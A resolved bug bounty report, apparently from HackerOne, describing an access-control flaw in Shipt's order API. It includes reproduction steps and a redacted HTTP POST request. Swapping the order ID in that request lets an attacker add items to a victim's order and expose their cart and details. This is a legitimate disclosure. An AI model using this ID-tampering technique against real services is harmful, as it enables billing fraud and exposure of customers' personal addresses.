Improper Access Control + Financial fraud allows attacker to disclose + add arbitrary products to another's user's order
High
S
Shipt
Submitted None
Actions:
Reported by
doomerhunter
Vulnerability Details
Technical details and impact analysis
## Context
The [██████) website allows users to place orders and **modify** them after they were placed.
To modify an order after it was placed, it must be in a state **before** the shopping is in progress. This allows customers to adjust an order before its final shipment
## Vulnerability
It is possible to **add arbitrary products** to another's user's order before it was placed. By sending the proper HTTP request, the content of the target order is also disclosed, including the victim user's physical address.
## Steps to reproduce
1. Place **two** distinct orders, with **two different accounts**. To simplify the process, place them in the same shop and place the order in the future.
For this Proof-of-Concept, the technical values were the following :
Key|Value|
----|-----|
Attacker e-mail| ██████|
Victim e-mail| ███|
Attacker order ID| 1813918441|
Victim order ID|181396149|
For the sake of simplicity, the adress was set to **███████** and the shop was **CVS** (`"store":{"store_id":60,"store_location_id":29244,"metro_id":210,"name":"CVS"`)
Once the orders are placed, proceed to step two.
2. For both orders, add a new item to the placed order. An HTTP **POST** request similar to the one below will be sent :
```burp
POST /aviator/v2/orders/1813918441/add.json?anonymous_id███deac090c-2b05-4402-b33f-468060058145█████white_label_key████████shipt████████segway_version██████6668a3d631495cebf307423e23a588c5f9d929c1████zip█████████████user_id█████████████████████████metro_id█████████124███████store_id████████60██████bucket_number██████72███store_location_id██████████platform████████web HTTP/2
Host: ███████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/███████ Firefox/110.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q████████0.8,en-US;q█████0.5,en;q████████0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 154
Referer: ██████
Origin: █████████
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
X-Pwnfox-Color: blue
Authorization: ██████████
Te: trailers
{"zip":"████","user_id":█████,"metro_id":124,"store_id":60,"bucket_number":72,"store_location_id":██████,"products":[{"id":4799771,"qty":1,"note":""}]}
```
To perform the exploit, simply replace the order number in the URL with the order number of your victim. For instance here :
- /aviator/v2/orders/**1813918441**/add.json -- > becomes --> /aviator/v2/orders/**181396149**/add.json
The server will indeed add the selected products in the victim's cart and additionnally disclose the content of the cart and the customer's e-mail address :
████████
Additionnally, by targeting other orders numbers, it is possible to disclose the status of orders numbers. For example :
- An order cannot be updated because shopping is in progress
- Could not retrieve product info (if the shop is different)
## Impact
The vulnerability described here has significant impacts on both the customers and the company, as it involves the manipulation of orders and the exposure of sensitive customer information.
Indeed, the exploit both discloses user's physical address as well as having them billed for unwanted items.
However the business impacts of the vulnerability can go quite beyond this scope. Indeed, customers who fall victim to the attack will be billed for unwanted items, leading to financial loss for them. Additionally, the company may have to issue refunds or compensate customers, resulting in financial losses for the company. Similarly, this could also impact the smooth running of deliveries from an operational point of view.
From a reputational perspective, customers who have been affected by the attack may lose trust in the company and its ability to protect their personal and financial information. This could result in negative reviews, decreased sales, and a damaged reputation for the company.
For the physical address, this also adds addtional personal safety concerns.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$3900.00
Submitted
Weakness
Improper Access Control - Generic